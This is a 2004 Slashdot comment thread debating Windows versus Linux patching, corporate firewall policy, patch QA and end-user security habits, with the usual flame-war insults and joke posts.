1) Computer is dead, hence removed from the internet, so if the patch fails, one less host to contaminate the rest of us
2) Brings in some poor unemployed computer geek a good opportunity to score $50-100 getting the machine back online.
3) More bad press for Microsoft, and one more disenfranchised Microsoft user, making that Linux thing more useful when said computer geek comes by with his Mandrake rescue CD.

See, upside all around!
Re:There's a big difference... by Anonymous Coward · 2004-06-14 03:11 · Score: 0

Doesn't work here, either. I also get the white box. I'm interested, it looks like an extra feature to the tool, some way to pick from several hosts. No reboot here, though.
Re:There's a big difference... by ckaminski · 2004-06-14 03:12 · Score: 1

The more I think about this, at a corporate level, the more I'm convinced that high-speed switches are going to start incorporating packet filters on EVERY port.

Already when new vulnerabilities come out my current organization is hot to immediately stifle any machines that suddenly start bursting traffic. As part of a deny first, verify second method, we put the kibosh on Slammer before it even started.

Granted, people were watching analyzers all morning, and at some point, someone (Cisco) is going to make it easy to manage this with their core products, but it's the way it's going. You absolutely cannot trust the computers on your network anymore, especially ones that travel outside your control, like laptops.
Re:There's a big difference... by maximilln · 2004-06-14 03:14 · Score: 5, Insightful

2) He thinks that security is a yes/no option. Security is nothing like that. If someone were to be honest with him, and tell him that nothing is truely secure and it's all trade-offs, and then explain the trade-offs of their particular product, I'm sure he would have thought they were weaseling, when in fact they were telling the truth.

AMEN!

It's a problem that I run into quite often and not just with security. When you come to understand a topic intimately enough you learn that there is very little in the world that's a yes/no option. Everything requires a level of expertise and must be tailored to the specific task at hand. The issue is that the people requesting the services don't know, don't have time to learn, and don't want to learn. They want the yes/no answer to keep their life easy. If you're the person attempting to sell your services in order to keep food on the plate, however, you're faced with a dilemma: Say "yes" and possibly get mired in a situation which is impossible (secure a network full of users who are actively trying to break the network), or say "no" and don't get the job.

--
+++ATHZ 99:5:80
Re:There's a big difference... by TechniMyoko · 2004-06-14 03:19 · Score: 1

um, ms has been putting out patches before most bugs are exploited. MSBlast had a patch out almost a year in advance. And this bug cant be stopped by a firewall.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 03:20 · Score: 1, Interesting

I hear your pain. Hell, we have a review board process that requires a written submission with regression testing alond with approvals from each affected departmental for something as small as a configuration change. Each dept has veto power on any change. Not only that, the downtime window is 30 minutes on the weekend and it's usually booked solid a few weeks in advance. I love people who think that production machines can be patched on a whim, not everybody works at Ma and Pa's convenience store "admin-ing" a POS system.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 03:30 · Score: 3, Funny

To be perfectly fair there wasn't a NON-Internet Explorer specific security patch for Win98 for the last two years of active support.
ME of course, doesn't have to be secure, it will crash itself.
XP with SP2 will start shipping within 6 weeks of final release. It's currently under Release Candidate status, meaning it should be no more than 10 years away. (That was very sarcastic, really it should be within the next 60 days unless something really bad happens with the test code).

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by joeljkp · 2004-06-14 03:31 · Score: 2, Insightful

Yeah, because I read every line of code in every piece of software I install, just to make sure nothing gets in that I don't want.

Let's be real. He has good reason to trust the company about security information, and they have good reason to present accurate information. If the software fails and he gets hacked, they company loses business at best, gets bad publicity and a nasty lawsuit at worst.

You act like people wanting easy solutions is a negative thing. Not everyone is a security expert. That's why we have security experts. Specialization is the key to progress. The less time we spend worrying about things we don't care about, the more time we can spend on things we do.

--
WeRelate.org - wiki-based genealogy
Re:There's a big difference... by MachineShedFred · 2004-06-14 03:39 · Score: 2, Informative

As for your Win2k 'sploit, I call bullcrap. Doesn't work, but a nice command history comes up, so I'll thank you for that tip.

Oh, and saying that local exploits aren't taken seriously is both a major understatement, and a not-so-major problem. After all, you can fix all the Denial-of-Service exploits you want, but if someone has local access to the machine, they can always pull out the power cord.

That is not easily fixed with an OS patch. Never underestimate the use of a heavy door and good locks.

--
Slashdot still doesnâ(TM)t support Unicode after it was added to the HTML standard in 1997.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 03:39 · Score: 2

Absolutely! An unpached RedHat 6.2 will become a zombie just as fast (if not faster) then an unpached Windows XP or 2000 machine.
The only difference is that the newer Linux installs ask you how you want the firewall configured (with a pretty secure setting as the "click next" default).
While XP users are waiting for Service Pack 2.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 03:45 · Score: 0

How can you have a 100% generalization? Generalizing in itself implies that something is not accurate all of the time.

Just my 2 cents.
Re:There's a big difference... by Mighty_K · 2004-06-14 03:45 · Score: 1

Theres actually a foolproof way to force a Linux/Unix machine to reboot too. Unplug it. There is good reason that people do not take "local exploits" seriously. The underlying x86 hardware platform is not engineered for absolute local security. It is not a matter of cleverness in OS design.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 03:46 · Score: 0

What is yours?
Re:There's a big difference... by Anonymous Coward · 2004-06-14 03:49 · Score: 0

How is it that when a Linux security hole is found, that the slashdrones can only talk about Windows?

Seems a little like a double standard.
Re:There's a big difference... by johnnyb · 2004-06-14 03:51 · Score: 2, Insightful

"You act like people wanting easy solutions is a negative thing."

It's not negative. It's the hubris that assumes that there _must_ be an easy solution, and whoever presents a solution and calls it "easy" must have found the right answer.

"Not everyone is a security expert."

I'm not saying they are. The point is that they assume that people who tell them what they want to hear _are_ security experts.

"The less time we spend worrying about things we don't care about, the more time we can spend on things we do."

This is true. However, we do need to know enough about the things we don't care about to make good decisions on them and know how it affects what we do care about.

--
Engineering and the Ultimate
Re:There's a big difference... by Anonymous Coward · 2004-06-14 03:54 · Score: 0

How can people mod that as insightful? Generalization like that should be discouraged as it is not constructive, but some actually reward it... Quite puzzling to me...

I'm sure you mean "This is quite puzzling to me."
Re:There's a big difference... by Anonymous Coward · 2004-06-14 03:56 · Score: 0

> A well patched system, Linux or Windows, doesn't need a firewall.

Riiiiight..

> I run a corporate network without a firewall.

You, sir, are an idiot.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 04:19 · Score: 0

Some Windows users do care ..

What they know.

1. Something is wrong with the computer.
2. They getting more pop-ups than they should.
3. Computer is getting slower day by day.
4. Many things do not work as they used to work few months back.
5. How to run Windows & Anti Virus update

This is What they do NOT know.
1. Their system is infested with spy/bots/Trojans/viruses

2. Nifty Search Bars/P2P Programs/Nice Cursors/Screen savers/Popup Blockers they download from net installing some nasty programs in their computer.

3. They can have a decent free personal software firewall such as ZoneAlarm.

4. How to make their comp working the way it should.

I helped my friend's dad's computer, which was infested with approximately 25 nasty programs as identified by S&D Spybot.

I downloaded latest ZoneAlarm,S&D Spybot and started the massive cleanup job.

1. Disconnect comp from Internet.
2. Ran S&D and cleaned up many nasty programs.
3. Edited registry run/runonce/runasservice/startup folder to remove more bots
3. Installed Zome Alarm and rebooted.
4. Connected the comp to network again.
5. Demonstrated how some leftover spyware tried to connect to internet and blocked by ZoneAlarm.
6. Installed FireFox and help him install all in one mouse gesture extension .. He was very pleased by FireFox in term of speed , Poup Blocking and ease of use.

Finally gave him advice to get ready to reinstall his existing operating system or consider running Linux which I promised to give him a demo at my home comp.

Smile at his face when we waved good bye was indeed PriceLess

-AC
Re:There's a big difference... by magefile · 2004-06-14 04:19 · Score: 1

Yeah, but the user interface is so bulky and clunky. It really sucks. I'm waiting for the 1.0 release.
Re:There's a big difference... by xanadu-xtroot.com · 2004-06-14 04:23 · Score: 1

I run a corporate network without a firewall. Every time a major issue comes around and destroys every freaking company around me, I go by with maybe two systems effected.

So your employers are happy having their millions of dollars not protected from the Internet (as much as possible)? Geesh. Where do I sign up? You don't have ANYTHING? Even on your routers?

Oh, nm,

Why? I stay up-to-date on all patches, and I keep relatively SANE security policies in place.

I assume you TEST all these patches and updates BEFORE setting the machines to "auto-update"?

(Man, I'd love to have an "IT" gig where I could be this careless...)

--
I'm not a prophet or a stone-age man,
I'm just a mortal with potential of a super man.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 04:30 · Score: 2, Insightful
I've been a Linux user for over 6 years, a UNIX Administrator for 8 years, and a Windows Administrator for 10 years.
If someone is determined to get into my machines (that means, without a script kit), then I am fully aware that all they have to do, is ask one of 80% of my users the right questions, and they'll have a password, through VPN or Firewall or anything short of GOD himself protecting my network, that person will get in. How's that for reality awareness?
In the mean time, the real-world issues that my users run into every day, tell me that I'm removing much more functionality than I am adding by putting in a firewall.
To complete your list;
1. Exploit
2. Announcement / Initial target identified, etc
3. Patch or Fix
4. Reverse info from patch and announcement turns into many varieties of script kit
5. Security awareness
6. CNN report about the casualties
7. The rest of the world (that knows how) starts to consider patching their systems, too.
I know that if my network is directly targeted by someone with both knowledge, skill and cunning, that they'll be able to break in. That's a reality that I can't control, simply because I have users.
When you say I'm new, I'd call you new. First is the discovery of computing, then is the technical side, and the geek stuff. Next is the realization that the geek stuff can be used to do nasty things. Where you are, is the realization that something should be actively done to stop it at all costs (sacrificing usability). Then there is multiple failures to realize the perfectly secure network (because of those damned user needs). Then, you will settle to where I've come to rest. Do what you can, don't sacrifice usability for security unless the security issue is critical and obvious (Clear and Present danger) - lest you have rogue users who will get the CEO to force you to bypass the rules.
Get smacked by a know-nothing CEO a few times then you'll realize that regardless of the size of the network, unless their security problems have been front page on the Wall Street Journal (rare), that security is not a priority.
What I do. Let every user know that I won't be able to get their stuff back if they let their computer get out-of-date. Let every user know what steps they have to take, weekly, to avoid the worst-case-scenario.
Other mitigating factors: 95% of my systems are laptops. They come and go on a daily basis. If they are not patched, the can and will come back with all the latest worms. In the last 5 years, I've never had a "new" worm successfully comprimise more than 2 computers. Every time, it's know-it-all users who think that the rules don't apply to them.
Otherwise, I could spend $250,000 (I'm not kidding on the price here) on security measures that would be quickly offset by a user lending his account info to a "friend". That's not to say that I ship systems with every possible service enabled. That's not to say that I think Mal-Ware won't happen (it has). But my incidents have been, in every case, less severe than companies around me where my friends work.
So, you can say I'm lucky, you can say that I've not presented a good target, that's fine. What I'm saying is that I live in the world where some 60% of people keep a key outside their house, but within 6 feet of the outside walls. You're only as strong as your weakest user, regardless of how much technology you dump into security. I choose to live out on the edge, and I've yet to be sorry about that decision.
--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 04:33 · Score: 0

"Sometimes a company CANNOT patch a vulnerability because it causes a critical business application to crash or behave incorrectly."

Well then, you've either found a problem with the patch, or a problem with the specified application. How does this 2nd bug impact the first?

You know how you can tell when a real IT staff knows what it's doing?

You never notice them...
Re:There's a big difference... by CaptKilljoy · 2004-06-14 04:35 · Score: 1

>That said, it does seem to be true that a Linux patch will appear a lot more quickly than an MS patch, and that seems to be a result of the fact that it's open source.

Really? I thought it was because most open source patches don't go through much of a QA process. (A *real* QA process, involving weeks of regression test passes and shedloads of machines.)

Yeah, sure, it's just a one line fix, there couldn't possibly be any problems...
Re:There's a big difference... by gfxguy · 2004-06-14 04:41 · Score: 2, Insightful

On the other hand, if you have a known vulnerability, then isn't it nice to have it fixed quickly (usually with the one liner you were talking about).

If there's a problem with that fix, another one will be along very quickly. It depends what you find preferable... leave your system open with a known vulnerability, or fix the known vulnerability with the possibility of opening a new one that no one knows about just yet.

It depends on your situation.

--
Stupid sexy Flanders.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 04:49 · Score: 0

Forget the firewall, get a properly implemented system.

Sure, name one for me...

Asshat.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 04:53 · Score: 0

No kidding. So much for "inherently more secure". Its got a bad bug that can crash it. Lets change the subject...blahblahblah windows sucks....moderated +5 informative.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 04:57 · Score: 0

So, in other words, the problem isn't that you intentionally set up a Linux box for an individual who you knew wasn't equipped to maintain it...

Huh? So you're saying that all Linux users should roll their own kernels? That's no good for Joe Public who doesn't know how. That's no good for Joe Corporate - if they've got to build and QA their own kernels and applications then suddenly the TCO goes through the roof. Where's the benefit now?

It's people like you who are strangling Linux - it shouldn't just for be the hacker 3l33t.
Re:There's a big difference... by TheLink · 2004-06-14 05:02 · Score: 1

2001? Uh that's like ages ago. The bug doesn't work on my W2K system.

It might be related to that csrss bug. Which was fixed (surreptitiously?) as of W2K Sp3.

Either that or your video card drivers have a problem.
--
- Too many replies beneath your current threshold
Re:There's a big difference... by Allen+Zadr · 2004-06-14 05:07 · Score: 1

Read my first reply, then come back.
Careless is in the eye of the beholder. When you can say with a straight face that none of your users will compromise your super-expensive VPN, I'll know that you don't have users.
To my management, CEO, VP Sales, VP Operations, etc. They all ask for an actual risk to cost analysis. And instead of asking for one from one of thousands of people who make their money selling firewalls, I've actually put together an analysis that is appropriate for my network.
First and foremost, my network servers (the expensive bits) are made for internet servicing. I could firewall them to a degree, but many ports are required to remain open for these servers to offer the services that they do.
The only solution that would "work" to some degree, would be to put "personal" firewall software on every single unit in the company. However, this is too easy to shut off, and honestly, it failed at cost-to-usability (maybe XP service pack 2).
My management likes being able to use the Internet for what it was intended to do. That's not being careless, that's not spending hundreds of thousands of dollars on something that will make management feel good while leaving my network in the same state it was - - waiting for user abuse.
That said, yes, my router blocks certain things - unroutable and private network inbounds, for instance. But very little at the "port" level. When XP Service Pack 2 ships - I very well use the built-in firewall on this (but maybe not - I haven't been satisfied with release candidate 2 yet - too intrusive). I may end up deploying Service Pack 2 - and sending out a policy to set it how I want so the users don't get a chance to be confused by a butt-load of "Are you sure?", and "You are vulnerable" dialogs.
And yes, I have a 24 hour patch - test cycle before unleashing holy hell on the systems. Microsoft's Software Update Services (SUS) is a great tool for this level of control without sacrificing functionality or "hoping" that Microsoft will get it right every time.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Cat_Byte · 2004-06-14 05:07 · Score: 1

When I read slashdot I get the opposite feeling. *nix users feel they are secure just because they aren't running Microsoft. I've even got into arguments with people who thing they're secure running out-of-box configs & use telnet to the external interface rather than SSH. I know there are many who update, but there aren't as many as you would think. How many actually go and search for updates to software that up2date or yum doesn't list yet? Very few!

Ok lets get back on topic. This isn't about Windows. Its a story on a kernel bug.

--
Two roads diverged in a wood, and I - I took the one the bus load of girls just went down.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 05:09 · Score: 0

I'd say that the systematic extermination of over six million people under the auspices of arguably the most evil human being to ever walk this planet is pretty important, wouldn't you?

Now, if, by the word 'important', you mean 'important to the functionality of the OS', that's a different story....
Re:There's a big difference... by Cat_Byte · 2004-06-14 05:10 · Score: 1

It also doesn't help that it won't autoupdate service packs
Uhh...yeah it does. SP1 came via critical updates and took FOREVER to get on the first day when everyone was getting it at the same time. Also if you don't have something like .net installed it won't make you install critical updates for .net. Same with several other apps.

--
Two roads diverged in a wood, and I - I took the one the bus load of girls just went down.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 05:11 · Score: 0

From a networking and security standpoint, I don't think I've ever seen a more bizzare statement about firewalls from someone who claims to have multiple years of system administration experience.

Then again, I just looked at your post history and it's pretty obvious you're just a loud mouthed demagog half the time, and just speed posting the blindingly obvious the other half...

I really wonder why I bother reading comments or posting here anymore because of morons like you...
Re:There's a big difference... by Jackie_Chan_Fan · 2004-06-14 05:15 · Score: 1

Auto Patching seems like a good thing but there are cases where one would run into problems. For example. Avid Express Pro users would become very angry at XP because there is a Microsoft XP hotfix that creates a redraw bug in Avid EXpress Pro, thus making it useless. Avid recommends to not install this hotfix obviously.

So there are reasons to not install certain fixes, or new fixes. Not all firewall software will function after a major auto patch... Perhaps an auto update would create system instability in that situation. (It has in the past)
Re:There's a big difference... by Anonymous Coward · 2004-06-14 05:15 · Score: 1, Insightful

I love people who think that production machines can be patched on a whim, not everybody works at Ma and Pa's convenience store "admin-ing" a POS system.

That's a failure of your IT department not the management. You need to explain to them what could happen and tell them that there is no choice. If you don't do that then the issues are your fault.

The original poster said that this is why OSS is so great. Patches are created before to long. It's obvious that Windows patches are created too. It's just that IT departments are too scared to tell off the management when they think they know more.

Quit being a bunch of whining babies and sit in your own LAN if you aren't going to patch. If you are connected to teh Internet you have a social responsibility to patch immediately.

I refuse to shed a tear for pussies.
Re:There's a big difference... by xanadu-xtroot.com · 2004-06-14 05:15 · Score: 1

OK, you make a good argument (with this post and including the one you pointed me to, but, I have only one additional word:

egress

With your "any any established" or your "-m state --state ESTABLISHED,RELATED" (or whatever you use), you are still VERY wide open...

--
I'm not a prophet or a stone-age man,
I'm just a mortal with potential of a super man.
Re:There's a big difference... by Odin's+Raven · 2004-06-14 05:17 · Score: 5, Funny

I've come up with the final word in firewall technology. What I do is connect my PC to the DSL router with a 10' ethernet cable. Then, using an approved tool, I carefully cut the cable, making sure to sever it completely.

This is a common mistake that many first-time security administrators make. You're supposed to cut the cable before making the PC/router connection -- always implement your security protocol before connecting equipment to the outside world.
What we really need is an article suggesting how I can speed up my downloads...

Your downloads are probably slow because your machine was compromised during the time when your security was down - i.e., the interval between connecting the unsecured cable and the time you properly locked the connection down. Slow downloads are a key sign of a compromised system.
Once you suspect your machine's been compromised, there's really no safe solution other than reinstalling everything from scratch. I'd also suggest discarding the cable and getting a new one - since you didn't secure the cable first, there may be an RF resonance bug lurking on the PC half of the cable, waiting to reinfect your machine when you hook it back up.
You're obviously new to this, so just in case you haven't heard about them - RF resonance bugs use the reflection characteristics of an Ethernet cable to create a self-reinforcing standing-wave signal containing a copy of the virus. Older versions of these bugs could be dealt with simply by putting the cable in a Faraday cage and grounding the cable. But several of the more current RF resonator bugs contain quantum-mechanical sideband waveforms - put one of those in a Faraday cage and the q-m sidebands can refractively propogate into the cage itself, and you'll spend the rest of the day chasing down heisenbugs.
Anyways, don't feel bad about this - it's a common enough mistake when you're just getting started with security. And by posting on /. you may have helped several other novices avoid making the same mistake.

--
A marriage is always made up of two people who are prepared to swear that only the other one snores.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 05:17 · Score: 0

"To my management, CEO, VP Sales, VP Operations, etc."

In other words, you're the top PHB who doesn't have a clue and therefore the others don't either because they look to you to know what you're talking about... Greaaat.

Can we know what company you work for so we can avoid any type of sensitive data transmission to ya or buying the stock? *shivers*
Re:There's a big difference... by golgotha007 · 2004-06-14 05:18 · Score: 1

being a system administrator for as long as you claim, i'm really scratching my head over much of your reply.

just because you have users doesn't make you a helpless administrator. does all your users require shell access? are they all familiar with strong passwords? must all of your shell users be allowed to ssh from anywhere in the world? if there are policies in place that you don't agree with, call a meeting with your superiors and let them know your thoughts. you are the administrator afterall, and your thoughts on security are the most important of all.

if many of your users have laptops that come and go from the building, just setup a seperate subnet for those users with strong firewall protection so it creates a separation between them and your critical systems. problem solved.

after reading your reply, it is becoming clear that all of your backend network glue is all handled my Microsoft machines. is this where your $250,000 charge comes from for implementing simple security? if you must use MS for company services, no problem. but i would highly recommend using linux for all your backend routing and security.

sure, your CEO may be clueless when it comes to security and/or technology, but you can bet your bottom dollar that your CTO isn't so ignorant of these issues.

you said:
Where you are, is the realization that something should be actively done to stop it at all costs (sacrificing usability).

if you think that usability is sacrificed because of security, then you really have a lot of learning to do.
Re:There's a big difference... by Psymunn · 2004-06-14 05:36 · Score: 1

I believe it's a small lead case for your wireless network card

--
The Neo-Bohemian Techno-Socialist
Re:There's a big difference... by Anonymous Coward · 2004-06-14 05:36 · Score: 0

My point is bigger than yours, and if not, my dad can beat your dad's point anytime.

what?
Re:There's a big difference... by Allen+Zadr · 2004-06-14 05:36 · Score: 1

That's all I can do - at least you can see that there I do have a point.
My best analogy for firewalling is buying a high security door while leaving the window closed, but not locked.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by nigelo · 2004-06-14 05:48 · Score: 1

So, in the ideal world, when all these internet connected machines are running something other than Windows, will we have automatic installation of critical patches?

Which operating systems have this feature?

--
*Still* negative function...
Re:There's a big difference... by surprise_audit · 2004-06-14 05:57 · Score: 1

Now, if you are at a COMPANY and your system goes unpatched it's because the IT department there either doesn't believe the possible threat or does NOT care.

There's a third option - the IT department KNOWS that some applications WILL be fucked over by the patches, and they're going slow because they don't know WHICH apps will be affected this time, and don't want to risk losing an important client system.
Case in point - our Windows support group recently patched a bunch of our monitoring systems, and suddenly CA Unicenter quit working. The fix? A forced upgrade to Unicenter. Monitoring was severely impacted for several days.
Re:There's a big difference... by the_mad_poster · 2004-06-14 05:58 · Score: 1
So you're saying that all Linux users should roll their own kernels?

Yes. Despite the fact that I said nothing close to that, that's what I said.

Since the point obviously escaped through that hollow pumpkin sitting on top of your neck, I'll explicitly state what was pretty clearly implied:

If you don't know how to use Linux as it works now, don't use Linux.

Would you give your car keys to somebody who obviously didn't know how to drive and then blame the auto manufacturer for not making a car that drives itself? Of course not. Why would you blame the Linux patching procedure - which works, mind you - because you gave Linux to somebody who didn't know how to use it? That's stupid. Maybe having a more user-friendly way to patch the kernel would be nice, but there isn't one right now. You have two options:
1. Go build one or get someone to do it for you.
2. Quit bitching and wait until someone else does.
And no, people like me aren't strangling anything. Linux has more important deficiencies than whether or not lazy people like that guy's brother can patch the kernel. If he can't, he shouldn't be using Linux right now because he's either not interested in learning how to use it, or he's not the target audience at the moment.

The patching system works and it's your responsibility to learn how to use it. When the time comes, something more "friendly" will be implemented to replace the current system. That time is not now, so right now, you can either learn how to use Linux, or not use it. Real complicated concept, isn't it?

It's whiny people like you who think the whole goal of the system should be to get everybody on earth to use it that made me switch to BSD. Linux works for what it's intended for right now. Don't get bitchy just because you're not the target audience at the moment.
--
Alito: A vote for Alito is a punch in the eye to put that bitch back in her place!
Re:There's a big difference... by Anonymous Coward · 2004-06-14 05:59 · Score: 0

No, in free countries, you wouldn't be. Go learn about contract law.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 06:04 · Score: 0

> If you're the person attempting to sell your services in order to keep food on the plate, however, you're faced with a dilemma: Say "yes" and possibly get mired in a situation which is impossible (secure a network full of users who are actively trying to break the network), or say "no" and don't get the job.

Unless I were really desperate, I'd say "no". Your "yes" case sounds like more of a job than I'd like to have..
Re:There's a big difference... by Anonymous Coward · 2004-06-14 06:10 · Score: 0

It's not avaliable on debian yet. Though I don't think debian is designed to resist local denial of service attacks, my copy copy certainly isn't.

Because I don't give others shell access to my computer I don't need to worry about this attack, and neither will your brother.

But your broader point is valid: Such a vulnerability is fixed on a computer only after the kernel/whatever is patched on that computer. There used to be a window of many months after a vulnerability was found to propogate a fix, but that is now changing. I worry that we have yet to find a way to protect the internet from day 0 worms.
Re:There's a big difference... by Kent+Recal · 2004-06-14 06:27 · Score: 2, Insightful

A *real* QA process, involving weeks of regression test passes and shedloads of machines.

So, is MS applying that *real* QA process?
If they do then it is obviously no solution to the problem.
Re:There's a big difference... by xanadu-xtroot.com · 2004-06-14 06:39 · Score: 1

That's all I can do - at least you can see that there I do have a point.

Agreed. I do (almost) nothing but agree with you. If everything is as 100% up-to-date as possible then there is no problem that is "out there" than you can prevent, minus egress firewalling (which would only be "Quick-Fixes", I understand).

My best analogy for firewalling is buying a high security door while leaving the window closed, but not locked.

Sorry, man. You're logic is very flawed. OK, if you feel the need to drop money on something (and I do still recommend Cisco's offerings), you are not leaving the window open if it can not be opened to begin with (e.g. egress...).

--
I'm not a prophet or a stone-age man,
I'm just a mortal with potential of a super man.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 06:45 · Score: 1

I've stated before (although not in this thread) that I am, indeed, a PHB.
To think that management looks to me for any sort of guidance is just, well, wrong.
Really, what I'd be very interested to find out, is how many 'otherwise successful' attacks have really been stopped by firewalls. Give me hard data, and I'll consider it on it's merits. I ran SNORT here for one month, and after searching through the logs (which I didn't complete for another two months) I didn't see anything that wasn't known. Known as in valid traffic, script kit, already patched vulnerability/virus, tons of http attempts, or standard port scanning.
On the other hand, does Email scanning count? I do that. I have more "otherwise successful" crap blocked at my mail server than anything the SNORT logs could muster. Most of this is down-right ingenius "trick the user" stuff.
Hey, AdWare, MalWare - is there a firewall that blocks this? I guess I have to set policies on the Windows systems to keep people from installing crap over Intenet Explorer. What do you do about users that have to be on the road? What do I do when a user runs into a problem while off-site, and needs to install a particular software package (VPN package, for instance) to get through their difficulty?
What about the worst threat, viruses. I do run AntiVirus software. Does that count? Viruses are far worse than most of these security exploits, in that the virus usually hits before the update is available. Yet, few of them are firewall stoppable.
Most network tools are based on desktops that never move, and never turn off. Those packages are all useless to me. 90% of my network is made of laptops.
So, if I set up a firewall to protect my 6 internet servers, then this will do nothing to protect me from my own laptops that are returning home from a trip of abuse. I've looked at personal firewalls, and haven't found a single one that is both usable and non-intrusive. ZoneAlarm for instance, you have to go hunting to get it to stop advertising to you at how much it's helping you out by blocking all those 'bad nasty scans', and asking you if you want to block access to your mail server because it's "port scanning" you on port 119 every time you send an Email. There have been two users that used ZoneAlarm, and both of them have managed to block their own access to either the Mail server or the entire 'home office' network because they were listening to "helpful suggestions" from the software. Pilot run over, next program...
I'm evaluating Windows XP SP2, Release Candidate 2 to see if this will fit the bill, but so far, no. I'm looking into the policy settings to see if I can get a decent setup that is not interruptive of the computer's user. I'm not really hopeful.
Otherwise, I could yell atop a hill about how a firewall would be "a good thing", without actually solving anything. If you'd rather invest in a company that buys a firewall without looking into it in some detail, then there's nothing I can say.
I slept well while MyDoom brought Seagate Corporate to it's knees. I had to rebuild one test system that had been off-line for the month previous. Seagate must be secure because they have firewalls. *shivers*

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Captain_Chaos · 2004-06-14 06:48 · Score: 2, Interesting

They don't care, they don't want to "break" anything, ...

And rightly so. Day before yesterday, I was reinstalling Windows Millennium on my mom's PC. It was running nicely, but then I had the bright idea of running Windows Update to make sure I had the latest stability and security patches. Bingo: Internet Explorer didn't start anymore (hung the computer, requiring a reboot), and neither did anything even remotely having to do with Internet Explorer (including, of course, Windows Update). Had to reinstall Windows, now it's chugging along in its default install configuration (but with Firefox as browser, Thunderbird for email and behind a Linux firewall!)
Re:There's a big difference... by Bryan+Ischo · 2004-06-14 06:56 · Score: 1

Without generalization, there would be no way to make any statements whatsoever about groups of people. Generalization is required, and most intelligent people will recognize that when someone speaks about "Windows users" or some other large group, they are implicitly acknowledging the inherent inaccuracies of such generalizations. But the commonalities among large groups of people - such as "Windows users" - are much more interesting thah the myriad of minute differences. So we talk about them using generalizations because otherwise, there would be no conversation to be had.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 07:14 · Score: 2, Insightful

[Do] all your users require shell access?
No, and if they don't, wheather here, or in Mozambique, they can't get shell access either.
are they all familiar with strong passwords?
No, I assign the passwords, because I can't trust the users to do this. Yet, it's not difficult to get a user to tell you their password. It's sad, but true.
must all of your shell users be allowed to ssh from anywhere in the world?
If they need shell access, yes. This is rare though.
if many of your users have laptops that come and go from the building, just setup a seperate subnet for those users with strong firewall protection so it creates a separation between them and your critical systems. If I protect my network from my laptops, then I have only servers (and only 25 desktops) to protect. Then, I'm back to trying to use a personal firewall on every system we have. Check my other posts in this story to see how that's going. (not well).
after reading your reply, it is becoming clear that all of your backend network glue is all handled my Microsoft machines
Sadly, no. I only have a few Windows servers, all of my other servers run Linux (RedHat ES 2.1 and 3). However, 90% of my network is transient Windows XP laptops. All of the solutions that I can find are based on an Army of nailed down desktops that never turn off, and will always be able to quickly submit to the will of a domain controller.
if you think that usability is sacrificed because of security, then you really have a lot of learning to do.
Read this essay: http://www.fourmilab.ch/documents/digital-imprimat ur/
I found it quite interesting. And I find it's very easy to fall victim to this mentality. Why is WebEx the most successfull internet service company ever. Before two years ago, I used to be able to do software demos/desktop sharing and meetings with simple free software offerings. Now, due to firewalling, everyone has to pay WebEx for a really, painfully, simple service that used to be readily availble for free (NetMeeting, VNC, CUSeeMe, you name it). That's 0.30 to 0.50 cents per user per minute for something that should be free. Why? Because so many have freely and willingly sacrificed usability for security.
However, I would really be interested in any counterpoints. While others may think me a loud-mouth, I will listen, and on occasion will change my position if given a convincing argument.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 07:30 · Score: 0

That's perfect logic.

One windows user patches therefore all windows users patch.
Re:There's a big difference... by Eraser_ · 2004-06-14 07:30 · Score: 1

Contract law 101 if I recall correctly, you cannot agree to a contract you havn't seen, nor can you sign a paper saying you agree to a new contract you havn't seen.

Another reason is if I were doing something, such as playing a game, or burning a cd, etc, and my computer started patching, I would be pissed, so would many people. Waiting for idle time wouldn't work too well either, since a lot of "XP Home" users who don't understand updating, also aren't going to be leaving their computers on 24/7.
Re:There's a big difference... by merdark · 2004-06-14 07:32 · Score: 1

I'm far from a Windows fanboy. I use Linux almost all the time... I just happened to have a Windows box on my network atm.

You don't have to justify your comment by saying you really are a Linux user. It makes no difference to the issue at hand. Also, as much as some here think, it is not some moral requirement to use Linux. People here should stand of up linux oriented trolls (the ones going around claiming people are windows/mac/whatever fanboys) as much as windows oriented trolls or mac oriented trolls.
Re:There's a big difference... by Allen+Zadr · 2004-06-14 07:37 · Score: 1

Perhaps the thing you are not seeing here is that 90% of my network physically walks out the door. Attaches to unknown and untrusted networks (regularly, and in these users executing thier jobs), only to come back inside later.
If the laptop is not 100% up-to-date, every single week, then it will come back carrying the next "SoBig" type worm. To date, the worst impact on my servers from this type of incident has been slower network response for at most a minute or two.
That's the window. If you never have a laptop walk out the door, then almost any security solution out there will work. If you don't have a work-force that may need to get emergency access from Saudi Arabia or Detroit, then you are lucky. All IT security solutions probably work out of the box.
Me, I have a lot of windows open, and Linux (even if it were feasable) won't help.
So, the next best thing is to find a good managed personal firewall that I can control remotely, will never bug the users. I'm open for suggestions.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Eraser_ · 2004-06-14 07:37 · Score: 1

Or they could be so socially competent that they realize time is money, and so offer to pay someone for their trouble. This is a hard and often awkward thing to do with a friend. Small problems can be easy to compensate for with a simple "I'll treat" the next time you go to lunch. Larger problems though and you realize it's going to take your techie friend a good hour or two of their time to fix, how are you going to pay them? Can you trust your friend to cut you off and send you to a shop when you can't clear your conscience of not compensating them?

